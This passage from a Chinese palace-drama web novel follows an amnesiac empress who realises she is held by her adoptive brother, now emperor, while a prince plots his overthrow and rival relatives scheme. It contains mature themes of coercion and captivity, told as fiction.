又小坐了片刻,穆王与穆王妃起身告辞,媜珠还高高兴兴地叫小宦官去送了送他们。
*
龙章二年的正月初一新年,于穆王周奉弘来说,不啻于是他人生中最晴天霹雳的一天之一。
他一生中只有三天最难忘。
其一是周奉疆杀死他兄弟叔父们夺权上位的那一天,其二是亲眼见到十五郎死的那一天。
再者就是今天。
他不确定周媜珠是否完全恢复了记忆,但他至少能够确定,他三姐姐周媜珠至少知道自己姓什么,知道自己是谁家的女儿,而且肯定已经和周奉疆那逆贼离了心了。
她心里也有鬼,也有秘密,可她都不敢让佩芝知道,不敢让周奉疆知道,反而是来求证他这个亲弟弟。
对她来说,她现下定然把他当做了她身边为数不多可以信任的人了。
她一定不爱周奉疆,一定不爱。
只有不爱一个男人,才会在他身边感到绝望,才会流露出那样的眼神,那种神情是做不了假的。
穆王府内的书房寂静无人之处,穆王用力握住了穆王妃的手:
“她不爱周奉疆,她不和那男人一条心,那一切就好办了!怕只怕那娼妇身子和心都给了周奉疆,如今她的心还是向着周家的自家人,那就好办了……”
穆王妃有些颤颤巍巍的害怕:“殿下,您说的是……什么好办了?”
穆王整个人的面容上呈现着一种诡异的亢奋和激动,脸色涨得通红,手指却因紧握而发白。
“好帮我除掉周奉疆。”
穆王妃慌张地“啊”了一声。
穆王的表情益发坚定:“周奉疆那贼子至今膝下无子,周媜珠被他睡了那么多年也没和他一条心,这岂非天道也助我么?这天下本该就是我周家的天下,如今我是我父亲所存子嗣中的长子……”
“只要周奉疆能一死了之,朝臣们都该尊我为天子。”
“殿下!”
穆王妃是紧张的,害怕的,但她似乎并没有真的反对穆王的想法。
她所紧张与害怕的,只是梦想还未实现之前的忐忑罢了。
“只要周奉疆死了,皇位怎么也该由我来做。届时,我为天子,你就是皇后,咱们的儿子就是太子,女儿也要封为国公主。我还要追封我的生母为皇后,配食我父亲的宗庙。对,还有你的父母,我也会封你父亲为国公,封你的母亲为国夫人……”
他整个人剧烈地颤抖起来,已然沉入了一场盛大的美梦中,
“我生母在世时温婉美丽,我要给她追封谥号为文与德,让世人都记得她是我父亲的文德皇后,她才不是我父亲一个无名的姬妾,是皇后,是配食宗庙的皇后……那赵氏又算什么东西!”
夫荣妻贵,丈夫都做起了美梦,妻子自然也被鼓舞得飘飘欲仙,穆王妃同样是个孝顺的好女儿:
“殿下的生母若是能追封为皇后……妾的生母,也能被封为国夫人,就为楚国夫人,如何?咱们的女儿,也要做国公主,可封为秦国公主……”
*
直到这一日的夜幕降临时,媜珠仍然感到一阵不可思议。
她完全无法想象,自己是如何撑过了这一日,是如何强打着精神应付了一整日入宫来给她请安的宗亲女眷命妇们的。
或许真的是伴君日久,人人都会蒙上一层虚伪的、用来伪装的面纱。
夜,皇帝拥着媜珠就寝,他自然而然地覆到媜珠身上,随手拉开她身上雪绸寝衣的系带,已然起了兴致欲宠幸她。
媜珠此刻再看向身上的这个男人,心已经不能再用冰冷两个字来形容了。
只剩下单纯的惧怕,那是一种刻入骨髓中的恐惧。
——家中如饲一忠犬,久之,惊觉此犬非犬,实乃一饿狼也。
而且还是一条红眼的食人饿狼。
这条饿狼在你身旁转来转去,你却根本不敢揭发它的真面目,害怕被它恼羞成怒之下咬断脖颈、吃尽血肉。
它还会装作一条忠犬的模样来你身边转圈,索要你的爱抚。
明明害怕至极,却又不得不敷衍着和它亲近。
所以今夜的这场情事媜珠明显不在状态,皇帝只做了一次,收场时也有些意兴阑珊,没了往日的兴奋趣味。
事毕后,他随手披上寝衣,拨开被汗水沾湿在媜珠脸颊上的一缕发丝。
媜珠似乎有些虚弱地躺在他身|下,阖着眼睛,满面潮红,汗湿鬓发,眼尾处隐约有泪珠滚落,继而坠进了枕头里,消失不见。
就一次而已,眼泪倒是没少掉。皇帝轻笑了下。
她是不堪承受的娇柔之态,皇帝并未起疑,只是怜惜她或许是太累了,哄了她几句后就拥着她睡下了。
她虽阖着眼没有看他,可是意识是清醒的。
方才他碰她时,她想过可以寻什么由头推拒过去,不想让他沾她的身。
但只是片刻,想到自己这么多年来的遭际,媜珠最终没有反抗。
——她已经失身给他无数次了。
这么多年,无数次承欢侍寝。
一次两次的拒绝,就算他暂时接受了,又有什么意义呢?
只要在他身边,她总不可能永远拒绝他,以后也还是要给他的。
遑论已在他手上失了清白,她再想贞烈,清白也无可挽回。
*
那……河间王殿下……张道恭他知道这些吗?
他知道她还活着吗?知道她如今所遭受的一切吗?
这夜,在周奉疆怀中,媜珠失忆后第一次在他的榻上想到了别的男人。
只是这么一想,她便心痛欲碎。
第32章
同为周氏女,同样是先冀州侯周鼎的血脉,姐妹三人却完全走上了三种不一样的道路,人生际遇只在转瞬之间便相差了千里万里。
周鼎的第二女周婈珠做了前朝流亡在外的亡国皇妃,几如亡国之奴,朝不保夕,夜夜难眠。
第三女周媜珠被人囚于掌心、视若自己私藏的金丝雀,活得浑浑噩噩,郁郁寡欢又不得自由。
第四女颍川公主周芩姬是一生平淡,顺其自然,安安分分地捞到一个公主的封号,嫁夫生子,只求安稳度日。
一个前朝的妃子,一个本朝的皇后,还有一个听天由命的公主。
哪怕命数相去悬殊,但是在人生某一条道路的交叉点上,姐妹三人仍然被再度绑在了一起。
有时也不得不感叹,或许这世上真有血脉相连的祸福造化一说。
*
这一年的正月初,远在岭南龙编县的周婈珠从段充那里打探到了一个令她意想不到的好消息。
“瞎了?真的瞎了?就这么瞎了?!”
周婈珠哗然一下从椅子上起了身,因为心情太过激动,还一下子碰倒了桌上的杯盏。
她顾不得被碰倒的茶杯里倾倒出来的热水沾湿了自己的衣裳,一连对着段充问了足足三遍。
段充颔首答是:“臣也是从韩孝民处刚听来的消息,韩孝民与其妻冯氏的长子,确实是双目皆盲了。”
他不动声色地瞥了眼周婈珠的神色,又低声补充说:“娘娘……还请娘娘到底节哀,听闻颍川公主也因此……因此受惊而小产了。说是个成了形的男婴,就这么没了,驸马韩孝直为之恸怒不快,与韩孝民关系僵硬,兄弟二人已经几日没有说话了。”
周婈珠冷冷哼笑:“我有什么可节哀的?不过是个没生下的孩子罢了,我又没拿他真当我的外甥。就是周芩姬自己死了,我也不会给她掉一滴泪。我高兴还来不及呢,真也是天助我,正愁如何继续挑拨这韩氏兄弟二人,我那两个蠢妹妹就亲自给我递刀了。周芩姬是个蠢货,周媜珠更是蠢出生天。”
这故事还要从媜珠年前赏给颍川公主府的那四盏精致奢华的琉璃宝灯说起。
媜珠当时隐约能感知到颍川公主和她的妯娌冯氏有些龃龉,但是到底自古以来婆媳妯娌姑嫂间都少不了有点不痛快,再不痛快,那也是一家人。
这个时代还没有能轻易分家的说法,一家人一辈子抬头不见低头见的,有了龃龉矛盾,只能想办法消融,不是么?否则这日子还怎么过呢。
于是她便在年前赏赐宫外宗室皇亲们的时候,特意给颍川公主府送了四盏极好看的灯笼,名义上是赏赐给颍川公主的,实则是叮嘱公主把其中的两盏灯赏给她妯娌冯氏的两个儿子。
因颍川公主膝下有一儿一女,冯氏也有两子,这府上统共四个孩子,一个孩子一盏灯的意思。
那日宫中女官内监们带着皇后的赏赐前往颍川公主府,女官私下将皇后的意思告诉了颍川公主,说皇后希望借此可以缓和她和她妯娌之间的关系,也叫那冯氏得了公主的好意之后,可以就此安分些。
颍川公主面上答应得好好的,等宫里的女官们一走,她遂立马翻脸不认人,只将那四盏灯全都扣了下来,分给自己的两个孩子去玩儿。
她还和她的生母李太妃埋怨了几句:“我是素来看不惯皇后那做派的,就跟天下只她一个菩萨似的,我颍川公主府里的事情,由她插什么手?当日皇帝将我驸马调去千里之外的岭南打仗,我去求她,怎么不见她管了?如今又来充什么观世音!仿佛我没了她给我出谋划策,我就是跟那冯氏不睦,难不成我一个公主还会被冯氏给吃了?滑天下之大稽!”
待到新年里,颍川公主的一儿一女拿着这灯玩,也有几分故意在堂兄弟们跟前炫耀的意思,叫冯氏的两个儿子看见了,小孩子之间难免会红眼羡慕,继而就是争抢打闹,一时间闹得不可开交。
公主的婆婆大余氏和妯娌冯氏都不是肯吃亏的人,再兼听说那里头有两盏灯本该就是赏给冯氏孩儿的,只是如今叫颍川公主给昧下了,大余氏和冯氏愈发恼怒,也唆使两个男孩去跟颍川公主的孩子抢。
冯氏也私下攘了自己儿子几下:“你是没出息的东西!你瞧你,生得比公主那病秧子儿子又高又壮,你还打不赢他么?下次他再拎着那劳什子的灯在你跟前炫耀,你就跟他打一顿,把这灯抢回来!只要你能抢回来,收在娘手里,就是那公主领着人过来亲自要,娘也不会还的!”
大余氏还教导自己的儿媳冯氏说:“这颍川公主实在是愈发泼辣无理,不把家中婆婆妯娌放在眼中了。下次寻机会你再去宫里一趟,定要和太后皇后好好说说她的错漏!那皇太后不也是陛下养母么!她最见不得养子一家对养母不孝了,若是咱们跟皇太后说说,太后必定还要好好教训她!”
冯氏连连称是:“就该如此!我瞧这赵皇后倒是个明事理的,上回我进宫里,她对我也还算客气周到,她应该能管管这事!”
转眼第二日,颍川公主的儿子韩辉、女儿韩宜和冯氏的长子韩柏、次子韩瑞又在小花园中凑在一处玩了。
韩辉韩宜兄妹二人又提着那琉璃灯摆弄起来,韩柏韩瑞兄弟看着眼馋,到底都是小孩儿心性,想起自己母亲教导的话,两兄弟便上前动手争抢起来。
别看都是才几岁的孩子,实际上整日听大人抱怨了一箩筐的家长里短,心里什么不懂?
几个孩子抢起来,一面抢着,一面还学着大人曾经说的话有样学样地互相吵骂起来。
韩辉韩宜兄妹便说:“你们凭什么有这样的灯!你们才不配呢,这是我皇后舅母赏给我们的,我们母亲可是颍川公主,是先帝的亲女儿,我们是凤子龙孙,你们算什么!你们什么也不是!”
韩柏深吸了一口气,立马回敬道:“你还好意思说呢,先帝,先帝在世的时候压根就不喜欢你母亲,也没拿她当一回事,你算个什么凤子龙孙!连皇太后都没拿你们当亲外孙!除夕宫宴上皇太后可说什么了,她说她膝下都没有孙辈……”
韩瑞也给哥哥韩柏帮腔:“你们兄妹都是贼!这本来就有皇后娘娘赏给我们兄弟的两盏灯,就是被你们这些贼给偷去了,你们算什么凤子龙孙,你们都是贼人贼种!把我们的灯还来!”
韩宜叫喊起来:“你爹还是窝囊废呢!我爹爹是大将军大驸马,你爹爹、你们一家都是我爹娘养着的!”
几个孩子没大没小的吵起来,一旁伺候的奴仆们都被他们惊出了一身冷汗,赶紧围了上去,一边拦着一边想法子把他们给隔开来。
正在这个关口,身形更加健壮的韩柏已经抢到了韩辉手里抱着的琉璃灯,拼命要往自己怀里抢过去。
恼怒之下,韩辉忽地重重从怀里举起那盏琉璃灯,一下朝着韩柏兄弟二人砸了过去。
奴仆们虽然已经竭力阻拦,但那琉璃灯瞬间碎裂,先是磕到了一旁的石桌一角上,继而飞出的碎片还是朝着韩柏兄弟二人的脸上扑去。
大半的琉璃碎片扎进了韩柏的脸上,甚至直接刺中了他的双眼,还有几片碎片也划伤了韩瑞的侧脸。
一时间,韩柏兄弟二人都哭喊成一团,声音格外凄厉。
韩辉兄妹二人毫发无伤,但显然也有些愣住,呆呆地站在了一边。
小花园里闹出来的这场惨剧很快被公主府里的几个大人知晓了,冯氏见到自己两个儿子的惨状,几乎当场晕厥过去。
很快,公主府中的医者就来给韩柏兄弟二人清理伤口。
冯氏的次子韩瑞倒是还好,只是些皮外伤,没有伤及要紧处,以后顶多是面上破了相。
但长子韩柏却伤的极重,一张稚嫩的小脸上坑坑洼洼全是琉璃碎片扎进去留下来的创口,除去惨不忍睹的外伤之外,医者们格外沉重地告诉颍川公主等人说,
——这孩子的眼睛废了。
以后是再也瞧不见了。
……
余下的话不必多说,这个新年,颍川公主府内过得有多么鸡犬不宁,也是闭着眼都能想象得出来的。
一连好几天,冯氏都快把自己一生的眼泪哭干了,而受了重伤的韩柏也在短短几日内几乎瘦成了人干。
韩柏是大余氏的亲孙子,老太太大余氏直接坐在了颍川公主院子的门口整日叫骂哭嚷,张口闭口就是颍川公主容不得她这个婆婆,她不活了,她想死了,也是闹成了长安城的一大奇景。
颍川公主心里再厌烦再容不得这二房的人,然她也从没想过自己的儿子可以闯出这等祸事来。
兄弟玩闹归玩闹,竟然直接把对方的眼睛给弄瞎了,传出去,她儿子这辈子的名声也彻底完了。
再者她好歹也是个人,也不是真的毫无良知底线,心中多少有些内疚不安,几日来也是害怕得坐卧难宁,饭都吃不下多少。
又兼婆婆大余氏这样撒泼打滚地闹着,本就有孕在身的颍川公主受了这等刺激后,竟然就这么见红小产了,活生生坠下了一个已经成了型的男孩。
这么一来,颍川公主的生母李太妃也不乐意了。
谁都心疼自己的亲孙儿,大余氏心疼韩柏,人家李太妃也心疼自己那本该平安出生的外孙。
于是她也坐不住了,跳出来和大余氏两人骂道:“你为老不尊,害死我的孙儿,你高兴了么!那韩柏是你的亲孙子,难道我女儿肚子里的不是你的亲孙?你怎么就不心疼心疼我的女儿?你都没拿我女儿腹中的可怜孩儿当自家孙子,凭什么要我女儿把你当亲婆婆孝敬!”
整个公主府里叫骂哭喊成了一团,颍川公主、李太妃、大余氏、冯氏等人,都争着抢着要往岭南那头寄信,说自己有多么委屈。
李太妃寄信痛斥女婿韩孝直,说都是他家那头的好婆婆好妯娌,生生逼得颍川公主小产,害死了先帝的亲外孙,他们韩家定要给她一个交代!
大余氏和冯氏更是有无数的冤屈和韩孝民诉苦,说他们好不容易养大的孩儿,就这么被人害瞎了双眼,这辈子的前程都没有了,这孩子没了眼睛,能不能平安活到大还难说!
而收到数千里外长安寄来的家信的韩孝直、韩孝民兄弟二人,也是都只顾着心疼自己的儿子。
韩孝直痛心自己本该平安降生的孩子胎死腹中,心疼颍川公主受惊小产,伤了身子。至于对自己的侄儿韩柏,他虽有些惋惜,但也只是惋惜而已,连谴责自己的儿子韩辉一句都舍不得。
韩孝民当然不会把颍川公主一个没出世的孩子放在眼里,在他看来,一个本来就没出世的孩子,根本就不算人。怎么能比得过他辛辛苦苦好不容易养大了几年的长子、他寄予厚望的长子,一下子被人害得瞎了双眼来得要紧呢?
于是兄弟二人大吵一架后,更是隐隐有了决裂之势。
近来岭南一带的战事本就吃紧,因龙编县有些天险,是整个岭南为数不多的一块易守难攻的宝地。
加上今年罕见的冬汛湍急,迅疾的江水包围着龙编县,成了张道恭的一道天然防御屏障,韩孝直想要强渡江攻张道恭的计划也被迫一再推迟。
张道恭因娶了交州薛坚明之女薛氏为贵妃,薛坚明竭力扶持张道恭,也让这奄奄一息的南楚流亡朝廷有了些死灰复燃的迹象了。
对于韩孝直来说,此番真是天灾人祸不断,让他焦头烂额,无一日顺心。
*
周婈珠当日便又将此事告知张道恭,与张道恭称:“陛下,妾以为如今正是决裂韩氏兄弟二人的大好时机。以妾之愚见,陛下可亲自向韩孝民手书一封,力陈陛下拉拢他的诚心,那韩孝民定然会被陛下打动,为陛下所驱使。”
张道恭抚掌而笑:“朕还会告诉他,朕要将朕的妹妹江阳公主赐予他为妇,待朕有重回中原之日,他也会是咱们大楚的驸马,朕绝不亏待他,他岂能不对朕忠心?”
是日夜间,段充带着张道恭与周淑妃之命,怀揣着张道恭的一封亲笔手书及江阳公主的画像,又偷偷找到了韩孝民。
他按照周婈珠教他的那些说辞,向尚且处于愤怒之中的韩孝民托出了张道恭与周淑妃的意思。
韩孝民有些大惊失色,口中“你你你”“我我我”“这这这”地嚷嚷了半天,说不出一句完整的话来。
段充乃安抚他道:“我们陛下和娘娘想让韩二哥做的事并不难,只要韩二哥暗中替咱们传递一些书信消息回长安而已。事成之后,陛下就会将江阳公主赐予兄长为妇,许兄长您高官厚禄,绝不会比今时今日的韩孝直差的。”
“届时,兄长您便也是皇亲国戚、公主驸马,有爵位、贵妻、美妇、子嗣,可不是再也不用受这些闲气了,荣华富贵,生生世世享之不尽?何其痛快!”
韩孝民感到不可思议:“那若是事败了呢!别说肯定要杀头的了,诛九族也不为过的大罪,段老弟,你这是害我呢!”
段充摇了摇头:“不,就算事败,此事对兄长您也没什么损失。一则事情不用您亲自去做,根本查不到兄长的头上来。二则,即便暴露了出来,那韩孝直和颍川公主也该比兄长您更着急,他们应该急着去替兄长遮掩下来,否则他们也肯定吃不了兜着走。”
段充又再劝道:“兄长,哪怕您如今不觉得屈辱,弟我也替您不值。您的母亲被那李太妃欺辱,您的妻室被颍川公主欺辱,您的长子被韩辉所害,您受了这样大的委屈,结果连您都还被韩孝直欺压。天下安有这样的道理?您想想,韩孝直娶了颍川公主这才几年?这才几年,您的母、妻、子就已然被人磋磨得苦不堪言,那再过个十年二十年呢?兄长也是一大丈夫,如何能一点血性气性都没有?”
“从前那韩孝直因是周奉疆的部下,靠着一点从龙之功才有的今日。如今更有一位真龙天子来主动拉拢兄长,这也是摆在眼面前的功勋荣华,兄长都不愿俯身捡拾吗?”
在段充的种种挑拨离间之下,韩孝民的心也终于动摇了起来。
他最终咬牙问出了那句话:
“那张道恭……陛下,想要我怎么做?”
第33章
媜珠最近的情绪跌落到极点,整个人郁郁寡欢,几乎再难看她露出丁点笑颜。
——这还是在颍川公主府的事没有闹出来之前,她的心情就已经很不好了。
若是不见外人,她每日大多数时间都是自己一个人默默地待着,眼神空洞地不知望向何处,整个人都似神游在外一般,有时甚至一整天都不会主动开口和旁人说一句话。
其实她自己并不想这样,她仍然想要在皇帝面前装作出从前的样子,可是事到如今她发现自己实在真的很难做到了。
哪怕是装,她觉得自己都快要装不下去。
只要想到自己在失忆的这些年里被迫委身给了别的男人,想到自己这些年和她的兄长同床共枕、有了肌肤之亲和夫妻之实……
祖宗家庙之内,她有何面目再见自己的父亲、叔父、兄长和堂兄们?
她真的觉得自己快要被逼疯了。
她吃的越来越少,整个人也前所未有地消瘦下去。
周奉疆见不得她这样无缘无故地糟蹋自己的身子,一日三餐里,哪怕他没空亲自守在她身边看着她吃,也会叫佩芝她们监督着她多吃点东西。
但很多时候,媜珠的胃口实在太差,就算佩芝拿着皇帝的命令守在桌边看着她让她多吃点,她也会用沉默来反抗,一动不动地坐在椅子上不张口也不说话。
既然宫人嬷嬷们不敢多说她,周奉疆索性自己过来端着碗给她喂饭。
即便这样,她都是兴致缺缺,吃一口躲三口,偏着脑袋去躲他喂到嘴边的饭菜。
媜珠不喜欢被他喂食。
以前她还懵懵懂懂什么都没有发觉时,偶尔他亲手给她喂食汤药,她会觉得自己像是被丈夫呵护在掌心一般幸福。
但同样的事情,如今周奉疆再对她做,她只觉得屈辱。
她觉得他给她喂食,其实就是在投食宠物,如同对待一只笼中的雀莺而已,把她当成个用来逗弄的小玩意儿罢了。
媜珠不是很愿意配合,但好在周奉疆其实做惯了这样的事,在她还很小很小的时候,他就经常这样给她喂饭。
那时他才八九岁,而媜珠也才两三岁,稚嫩得不得了。
她幼时活泼惹人喜爱,又极喜欢新鲜东西,于是他会从外面的街市上给她带回来一些新奇的小玩意儿哄她玩。
媜珠是真的贪玩的性子,每次收到一个他送的东西就抱在怀里不撒手,能一连玩上好几天,饭都不肯吃了。
赵夫人偶尔会端着碗追着她喂饭,媜珠话都还说不利索的年纪,只顾着在地上爬,压根不理她母亲。
等到赵夫人实在烦了她,啪一下把碗搁回了桌上,转身就指着他说:
“伯骧,你去喂她试试,她最肯听你这兄长的了,我没功夫和她在这耗,我乏得很,先回房午歇去了。你替母亲把媜媜的饭喂了,再陪她玩会儿,还有一定要哄她午睡,然后去做你今日的课业,晚膳之前拿来给我检查,听到没有?”
伯骧并不算是他的“字”,而是赵夫人曾经为他取的小名。
伯,乃指长子也,是赵夫人将他真正意义上视作自己长子的意思。当然也有恶心恶心她的庶长子的想法。
骧,骏马腾跃而昂首疾驰之意,自然就是赵夫人对他的殷切期盼了。
周奉疆会一一答应下来,赵夫人安心了,在婢子的搀扶下回自己的房中午睡去。
他便拿着碗,半跪在地上给媜珠喂食。
让她开口吃一勺饭,他要穷尽心思哄上许久,要夸她聪明,夸她漂亮,夸她懂事,夸她听话,说她是他最疼爱的唯一的好妹妹。
他至今记得赵夫人院中用来用膳的那间屋子外种了一小片文竹,有许多个中午,日光灿烂,竹叶轻摇,竹影投射在房内的地上,媜珠懵懂无知,爬来爬去想要把那竹影给抓在手里。
如今想来,其实那还是他人生中一段十分惬意的时光。
那时候他已经渐渐从被生母抛弃的痛苦中走了出来,过着不用再挨饿挨打挨冻的日子,每顿饭都有他以前想都不敢想的珍馐佳肴,足以果腹,晚上歇在可以遮风挡雨的精致寝居里,穿着体面舒服的合身衣裳,平日里还有赵夫人为他请来的儒学先生和武师傅教导他的学业和武功。
他也像是一棵屹然青翠的竹,被压在地底苦熬多年,终有重见天日之机,孱弱得只剩一具单薄骨架的身体也开始拼命生长,日渐挺拔。
彼时张道恭还没有出现,媜珠年幼,除却父母之外,最信任的人就是他。她会满心满眼地缠着他,天天要跟他玩,他说什么她都会听。
譬如说她夏日里吵着要喝冰过的酸梅汤,冀州侯周鼎和赵夫人不允,她就哭闹不停,但周奉疆去劝她几句,她抽抽鼻子,很快就止了哭声。
但那都是十几年前的事情了。
*
媜珠这次的脾气在周奉疆看来颇有几分莫名其妙的意思,这段时间明明并没有人惹了她不痛快,可她就是不高兴了。
他问过她到底是怎么了,媜珠抬头看他一眼,悒悒不乐敷衍他说:
“陛下,妾无事,只是三两日里偶然提不起精神罢了,一年到头的,总要有这么几遭。陛下政务繁忙,何必为了妾的这些小性子牵神费心。”
可是,不管她再怎么说,周奉疆也能察觉到她对自己没了往日的温婉顺从,眼神里也少了许多爱意和温情。
连床笫之间对他都格外敷衍,少了许多过去的柔顺迎合,让他白天黑夜都没个痛快。
他是不痛快,可他却无处发泄,只能真的把这当成她偶尔没什么精神气力,还想等着她过几日便会自己好起来。
——直到颍川公主府的事又闹了出来。
颍川公主和冯氏这对妯娌各有各的理,各有各的苦,谁都有掉不完的眼泪,再加上李太妃和大余氏这对老冤家连哭带诉的,若是真要留心听她们诉苦,真是把自己耳朵听成聋子了也听不完。
媜珠在知道公主府的事后,并无意在大人之间去一口判定谁对谁错。
她只为那两个孩子感到无比的惋惜,继而又万分的内疚。
她心疼颍川公主腹内辛辛苦苦怀了好几个月的胎儿,那已成了型的孩子,若是生下来了,会该有多么好的一生。
也痛心冯夫人的长子韩柏,听说那本是一个十分活泼健壮、惹人喜爱的男孩,经此一事后,他的一生都被毁了。
他才几岁啊,他的整个后半生都将活在黑暗的痛苦里,这对一个孩子来说实在太过残忍。
没有人会真心觉得此事是皇后的错,但媜珠就是习惯将这一切都揽在自己身上。
她开始不停地反思自己,如果不是因为自己赏的那些琉璃灯,也许这一切都不会发生,也许那两个孩子都会好好的。
所以听到消息后,她一整日不眠不休,滴水不进,一个人待在寝室的内殿里掉着眼泪,伤心到不能自已,谁来都不理睬。
皇帝对此却嗤之以鼻:“媜媜,这些和你有什么关系?若是颍川公主乖乖按你所说,将那些琉璃灯赐予冯氏的二子,如何还会闹出这些事来?颍川公主抗旨不尊,藐视皇后懿旨,是以下犯上,恶当其首;冯氏纵子夺灯,致使宫中御赐之物损毁,其子双目因伤致盲,也是咎由自取。这妯娌二人都冒犯天颜,罪可当诛!若非朕看在皇后仁慈的份上不予追究,她二人实在是罪无可恕。”
媜珠诧异地含泪看向他:“陛下……陛下怎能这么说?好歹孩子是无辜的。”
皇帝冷笑。
他很早就知道,这世道上就连孩子都没有多少纯粹的了。孩子的恶能有多深,他自己最清楚不过。
第二日还是皇帝强硬地亲自过来给她喂食,她才被逼着吃进去一点东西,皇帝又命她喝下一碗安神汤,让她能睡下歇一歇。
周奉疆守在榻边看着她仍旧不算安稳的睡颜,心中忍不住也会涌起点无名火来。
他实在恼她的这份纯善心性,她总是会为了那些无关紧要的人伤心难过。
从前她在乎她那些庶出的兄弟姐妹,在乎她周家的其他族亲,她会为任何人的死感到伤心难过,唯独就不见她在乎他。
现在呢,现在连一个八竿子打不着的旁人家的孩子瞎了,也值得她哭上这半天,估计那孩子的亲爹掉的眼泪都没她掉的多。
他此生最大的愿望,就是希望她能只在意他一个人,她的眸中、心里,只装得下他一个人。
他恨她的愚蠢不懂事。
他才是这世上唯一能保护她的人,她是活在他的羽翼之下才有今时今日的养尊处优,但她最不在意的也总是他。
她为什么总要将自己的心分给那些不值得的人和事,而不是给他呢?
*
在周奉疆的记忆中,年幼时他和生母一起艰难求生的那段岁月里,他常常对命运感到愤恨。
恨明月高悬独不照我。
这世上有千千万万的豪胄子弟、富贵之家,也有那么多可以衣食无忧、不受饥寒、父母双全的百姓人家,有那么多人可以过得那么好,唯独他没有过上这样的生活。
为什么唯独他没有?
但这种恨不是彻底绝望的。他虽恨命运不公,也仍然坚信自己可以为自己改天换命。毕竟王侯将相,宁有种乎?
直到媜珠出现在他的生命里,他照旧感到恨与不甘。
恨明月高悬不独照我。她那么好,可她为什么不能只爱他一人?
这才是真正叫他感到绝望的恨啊。
她是他心头唯一一片干净纯粹的皎皎白月光,但是月光是不能被囚禁的。
纵使你能筑金屋囚她,这片月光也只会不紧不慢地离开你的屋子,然后悠然落在那金屋的琉璃墙瓦上,她永远自由。
不仅不能被囚禁,这片能照在你身上的月光,也不会独属于你。
她照在很多人身上。
他可以杀掉所有让他不快的或是挡了他路的人,但是战场上兵戈相见时打打杀杀的那一套,却不能用在她身上。
他能拿她怎么办?
他现在卑微到连孩子都不敢让她生了,他还能怎么办?
*
在媜珠心情不好的这大半个月里,穆王也常遣穆王妃入宫探望皇后,向赵皇后请安。
佩芝发现,皇后近来倒是越来越愿意和穆王妃多说说话了。每次穆王妃过来,哪怕皇后本来情绪再不好,也能陪她坐着闲聊许久。
第34章
佩芝心中虽然有些不喜欢媜珠这样子,——见不得她一面对着皇帝甩脸色,一面对着旁人反而多数是温温柔柔的。
但是一来她没有资格多说什么,二来就算人家穆王妃这阵子进宫比从前频繁了些,到底都在她的眼皮子底下看着,也没见穆王妃在皇后跟前有什么出格的举动。
每次穆王妃入宫都带着那年幼的小女婴,见了皇后,就把那孩子送到皇后跟前,叫孩子去讨皇后的欢心,哄皇后高兴些。
那孩子也的确十分可爱,每回媜珠哪怕心情再不好,只要见到穆王妃家的小县主荷儿,就立马过去把她抱进怀里逗弄着,而荷儿也从来都不畏生,在媜珠怀里咯咯笑得比谁都高兴。
这段时日里,因为皇后突如其来的郁郁寡欢,皇帝也跟着不痛快,整个椒房殿内外的宫人们无比小心翼翼、屏息凝神地伺候着,宫殿楼阁内外气氛都是低沉压迫,闷得人喘不过气来。
也只有荷儿来的时候,她毫无顾忌地笑着嚷着的声音,才叫这死寂的椒房殿透出几分活人的生气来。
皇后从新年之后就是一副心神不宁的样子,穆王妃既然携女来看望她,除了让皇后多抱抱她的女儿解闷之外,自是也要说几句宽慰她的话。
她有时会逗着根本还不会说话的荷儿说:
“荷儿荷儿,你去讲几个笑话哄皇后伯母高兴好不好?皇后伯母近来都没什么精神,伯母是天下国母,娘娘没精神了,这宫里宫外你的其他叔父姑母们见了都要揪心,叫天下臣民都牵挂不安呢,那可如何是好?”
媜珠温柔地看了她们母女一眼,悄然领会了穆王妃话中的意思。
穆王妃这是劝她不可再把自己的异样暴露在旁人面前,不能再让旁人知道她的秘密,因为旁人未必真的可靠,兴许他们若是察觉到了她的不对劲,转头就告诉给了皇帝怎么办?
譬如,她的其他弟弟们,还有颍川公主等公主妹妹们。
她和穆王府之间的秘密,只能是他们的秘密,不能再让其他人掺和进来。
在椒房殿内外里三层外三层宫人的耳目监视之下,穆王妃虽然常来见她,但媜珠并不敢多问她什么事情,她也不敢把许多的话说得太直白,两人只能偶尔通过这样隐晦的言语进行短暂的交流。
在佩芝等人看来,这完全是正常无异的。
*
所以,皇帝私下问起佩芝几次,问穆王妃可有什么异动时,佩芝也只能如实告知,说穆王妃并没做什么不该做的事、说了什么不该说的话。
她又揣测说,皇后近来喜欢多和她说话、多召她进宫,大约也是喜欢她女儿荷儿的缘故,皇后已经到了能做母亲的年岁了,肯定是喜欢小孩子的。
她也曾壮着胆子小心地劝过皇帝一回:“陛下……您也瞧见了,娘娘有多喜欢小孩子,您不妨就叫她先怀一胎试试,兴许就把她的心拴住了。女人不都是这样的么。何况太后那里也催得急,朝臣们也盼着皇后有所生养,这对陛下来说如何都是件好事呢。”
她自认为自己在皇帝跟前有几分脸面,从皇帝当年刚到冀州侯府时,她就被拨去照顾他,是皇帝跟前为数不多用了近二十年的老人了,要不然周媜珠失忆之后,皇帝为什么单单指她来伺候他最心爱的女人呢?
皇帝信任她,她的心当然更偏在皇帝这里。
但面对她的出言献策,皇帝却似乎并不领情,反而还凉薄地瞥了她一眼:“你也在朕面前出这样的馊主意?”
见皇帝不悦,佩芝连忙告罪起来:“是婢僭越,陛下恕罪。”
佩芝退下后,皇帝沉沉呼出一口气,慢慢靠回到椅背上,一手撑额,眉目间露出了些许疲色。
不知为何,提到生育和子嗣这些话题,他忽然又想起了他的生母。
其实他还记得他母亲的名讳,母亲姓郑,名为萱,那时候许多人叫她萱娘,也会叫她郑二娘子。
也许这个世上没有人能真的彻底摆脱来自自己生母的影响吧。
按理来说,后来他有过一个出身显赫、身份高贵的养母赵夫人,赵夫人曾经对他确实也还不错,他本应忘记那个对他算不上好的生母的。
但是实际上他并没有做到。
生母对他说过的许多话,他至今仍然记得,至今都是一根扎在他心里的刺。
曾经,郑萱娘很多次对着他埋怨和咒骂过:
——“如果有的选,我绝不会生你。”
——“如果不是因为你,我何至于过得如此辛苦!”
甚至有时,她还会对他似笑非笑地说:“早知当年把你刚生下就摔在地上摔死,我这会儿还少受了许多罪呢。”
后来,那些照顾媜珠的医者们私下对他说:“主公千万不能轻易让夫人生养,否则以夫人如今的情状,即便平安生下子嗣,也极有可能在情绪崩溃之下将孩子摔死、掐死。”
他现在不让媜珠生,既是因为害怕她因怀孕生产而受到刺激恢复记忆,也是不想让他的孩子拥有一个不爱自己的母亲。
如果可以的话,他希望媜珠在和他相爱之后,心甘情愿地选择生下他们的孩子。
